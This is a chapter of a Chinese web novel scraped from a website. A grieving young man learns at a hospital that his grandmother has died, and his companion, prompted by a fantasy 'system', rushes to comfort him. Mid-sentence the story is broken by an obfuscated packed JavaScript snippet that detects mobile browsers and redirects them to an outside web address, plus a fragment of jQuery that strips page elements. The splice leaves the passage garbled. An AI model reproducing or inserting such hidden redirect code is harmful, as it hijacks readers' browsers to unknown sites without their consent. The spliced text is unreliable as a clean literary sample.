歪歪扭扭的签完字,裴亭松就失去了所有的力气。脱力般的顺着冰冷的墙壁滑下去,裴亭松紧紧的捂住了自己的脸。
口袋里的手机不停的震动又安静,屏幕上一次次的亮起Lucien的名字,但裴亭松的脑子里一片空白,他像是什么都听不见也看不见,他又变成了五岁时那个等待审判的幼儿。
窗外的暴雨还在继续,呼啸的风声、劈里啪啦的雨声以及那半空中突然炸响的雷声,混合着抢救室内隐约传来的仪器滴答声,这一切的一切都把裴亭松死死的按在了原地。
他完全动弹不得。
双手紧紧交握,指甲深深地掐进掌心,裴亭松试图用疼痛来维持清醒。
在此之前,裴亭松一直都是一个坚定的无神论者。他能走到今天,靠得全都是自我的坚持,但在这一刻,裴亭松却紧紧的闭上了眼睛开始了祈祷。
他不认识什么神灵,也不清楚那些神明各自的职位,于是在这一刻,裴亭松只能把自己叫得上名字的神明全部都祈祷一遍。
佛祖、耶稣、上帝、又或者是圣母玛利亚,还有那救苦救难慈悲为怀的观世音菩萨。
求求你们,不管是谁,求求了......我愿意用我的命来换,我用我的一切来换......求求你们,保佑保佑我奶奶吧,我不能没有她......我真的不能没有她......
拜托了。
我就她一个亲人了啊。
开开恩吧。真的开开恩吧。
抢救的人真的是奶奶吗?为什么裴亭松感觉自己快要窒息了?
21. 第二十一章
外面的雨势太大,连密闭的车厢内都升腾起了一股水汽。伴随着这股细密的水汽,陆洵皱紧了眉头。
二十多分钟前,陆洵就一直在打电话,但裴亭松却一个也没接,比起被人无视的烦闷,陆洵首先升起来的是一股担心。
裴亭松不是一个会放人鸽子的人,就算真的是有什么紧急事件,裴亭松也一定会打电话告诉陆洵,而不是像现在这样直接断联。
想起之前发生的那些事情,陆洵就有些担心,他怕裴亭松又遇上什么变态。
虽然因为处理徐行的那件事,江城长眼睛的二代都不会再去触陆洵的霉头,但也难保不会有一些什么都不知道的人再去招惹裴亭松。
于是越想越担心,就在陆洵已经忍不住要喊人的时候,很久没出现的系统突然飞了出来。
【不好了宿主!关键剧情发生了!任务目标的奶奶生命体征正在急剧衰减,原剧情里,她好像就是在今天去世的!】
听到这句话的瞬间,陆洵的心里就一个咯噔,“你说什么?!”
没等系统的回答,陆洵扔在一旁的手机就突兀的响了起来,屏幕上面的‘明莱’两个字亮的晃人眼睛。
一股极其不详的预感像一条细细的绳子一样缠上了陆洵的脖子,吞了吞口水,陆洵颤抖着按下了接听键。
电话那头,院长秘书的声音小心翼翼的响了起来,“小、小陆少爷......非常抱歉,您送来的那位张红丽女士......今天突发心梗,发作的有些太急了,我们,我们动用了所有的资源,最好的专家都去了,但是......真的非常对不起,我们,还是没能抢救过来......”
后面的话,陆洵已经完全听不清了。
手机从手里滑落,砸在真皮座椅上发出了一声沉闷的响。世界好像都安静了下来,只剩下车窗外那淅淅沥沥连绵不断的雨声。
完了。
裴亭松怎么办?
这是陆洵脑海里仅剩下的一句话。
想到这句话的一瞬间,陆洵就猛地回过了神,一脚踩下油门,陆洵朝着明莱医院的方向飞快驶去。
他几乎是凭借着本能在开车,一路踩着限速线,到最后陆洵甚至一连闯了好几个红灯,到了医院之后,陆洵连钥匙都没来得及拔,就这么大步朝着抢救室跑去。
他甚至来不及等电梯,看了一眼电梯所在的楼层之后,陆洵就立刻掉转方向一口气跑上了七楼。
而等到陆洵裹着一身水汽气喘吁吁的冲到抢救区时,他的脚步就猛地顿住了。
不用系统提示,陆洵一眼就看到了那个坐在走廊尽头的身影。
裴亭松浑身都湿透了,他整个人像是刚从水里捞出来的一样,黑色的发丝紧紧的贴着他那苍白的脸颊,衣服也黏在身上勾勒出了一抹过分清瘦的轮廓。
额前的水珠就这么顺着他的发梢一滴一滴地往下落,砸在裴亭松那同样湿漉漉的衣服上,也在他的脸上留下了一道蜿蜒的水痕。
让陆洵分不清这究竟是泪痕还是水迹。
他像是一盏岌岌可危马上就要碎掉的琉璃盏,陆洵再也看不到漂亮,只剩下了脆弱。
心口处涌上一股巨大的酸涩,陆洵疼的差点站不稳。
慢慢的走过去,陆洵绕到裴亭松面前,小心翼翼的蹲了下去。
裴亭松低着头,听到这股动静,他极其缓慢的抬了一下眼。
而看到这个眼神的一瞬间,陆洵的心里就猛地一抽。
裴亭松的脸上没什么表情,像一个机械呆板的娃娃一样,但他的眼眶又红的吓人,像熬了几个通宵,又像是把所有的情绪都聚集在了那双眼睛里。
裴亭松就这么看着陆洵,他嘴唇动了动,声音轻的几乎要被窗外的雨声盖过,但陆洵还是听清了他的话。
他说,“陆洵,我没有家人了。”
说到这,裴亭松就这么轻轻地眨了眨自己的眼睫,那双漂亮的眼睛里空洞又无神,他声音也轻,就像是在陈述一个和自己毫无关联的事实一样。
“我以后......就是一个孤儿了。”
听到这句话的一瞬间,陆洵的心脏闷闷地疼。他从来没见过这样的裴亭松,不哭也不闹,就只是这么安安静静的坐在那里,却又脆弱的好像随时都能被风吹走一样。
死亡。
这是陆洵第一次如此直接地感受到它的重量,沉甸甸的,压得陆洵喘不过气,甚至让他手足无措。
陆洵不知道此刻的自己还能做些什么,他也不知道自己应该说些什么,但看着这样的裴亭松,几乎是下意识的,陆洵就伸出了手。
有些笨拙地捧住了裴亭松的脸,陆洵小心翼翼地替对方擦拭着那些水痕,额头紧贴额头,陆洵把裴亭松搂进了自己的怀里。
“没事的......没事的......”声音干涩又沙哑,陆洵就这么一字一句地重复着那些苍白又无力的安慰,“我知道,我都知道......”
“奶奶......奶奶她只是换了一种方式陪你,她会在天上看着你的。”
绞尽脑汁的搜刮着此刻能想到的那些安稳,平时看到都觉得矫情的鸡汤,陆洵此刻却觉得这些话说出口都是如此的空洞。
怀里的裴亭松一动不动,好像连呼吸都停了似的。
明明人就在自己的怀里,陆洵却总觉得自己好像要抓不住对方了,于是陆洵只能收紧手臂把裴亭松搂的更紧,好像要把对方也融到自己的骨血里一样。
隔着两件外套,陆洵似乎也能感觉到裴亭松那冰冷的体温和他那瘦的硌人的骨头。
直到感觉到对方那微弱的心跳声和自己的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686053|188835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心跳重叠到一起,陆洵才微微松了口气,他语气沙哑,带着自己都没察觉到的珍重,“没关系,没关系。你不是一个人,你还有我陪着你呢。我一辈子都陪着你。”
这句话几乎是脱口而出,陆洵在说出这句话的瞬间,甚至都没想过这句话的含义,他只是在做着一个自己此刻想做的保证。
眼前的裴亭松太脆弱了,如果没有一个人看着他,好像他真的一不留神就会碎掉似的。
于是陆洵只能一声声的保证,带着自己都没察觉到的心疼和郑重,“别怕,我会一辈子陪着你的。”
这句话说完,陆洵收紧手臂,将裴亭松往自己的怀里按的更深,脸颊紧紧贴着裴亭松那湿漉漉的侧脸,陆洵甚至低下头轻轻吻了吻裴亭松的额头,“别怕。你别怕。”
怀里裴亭松那坚硬的身体随着陆洵的保证一点点的软了下来,但他还是一句话都没说,只有彼此紧贴的胸腔传来了一道压抑的、细微的震动。
慢慢的,陆洵感觉到自己的肩颈处传来了一抹温热。他很快的意识到,这是裴亭松在哭。他连哭都没有声音的。
于是陆洵只能把对方搂得更紧,手掌一下一下的抚摸过裴亭松的脊背,陆洵笨拙地试图安抚着对方。
窗外的雨声更大了,带着呼啸的风声席卷过整个空旷的走廊。
五岁时,一大群人挤进裴亭松的那个小院,说着一些,“哎哟,这家里的顶梁柱都没了,这一家老小可怎么办啊?”“听说了没,老裴家的媳妇一听这事就跑了!”“哎哟,作孽哦。”
他们那群人嘻嘻哈哈的看着热闹,然后再凑到裴亭松的面前,说着一些似真似假的安慰,“亭松啊,没事哈,有赵叔一口吃的,就一定不会少你一口的!”
他在撒谎,都是假的。他们那些话只是为了裴虎出事的赔偿款而已。
于是裴亭松就这么拼命的学习,他想证明自己,证明自己不是扫把星,证明妈妈的抛弃是一件错误的买卖,于是他就这么靠着奶奶还有那五万块的赔偿款一步一步走到了今天。
可是以后就没有奶奶了。
奶奶消失了。
眼泪无声无息的溢出眼眶,裴亭松就这么一动不动的感受着这个生涩却又用力的拥抱,还有陆洵那些笨拙的安抚。
他觉得自己的心脏和这个走廊一样空荡荡的,奶奶的离去也席卷走了最后的温度。
但就在他以为自己要独自面对这场突如其来的暴雨时,却突然来了一个人,这个人伸出手抱住了他,亲吻他,试图替他挡着这根本挡不住的狂风暴雨。
于是,裴亭松突然感觉窗外那呼啸的风好像小了一点。他好像也没有那么冷了。
过了好半响,裴亭松那一直垂在身侧的手终于动了动,他轻轻地、轻轻地用指尖攥住了陆洵后背那一小块的衣角。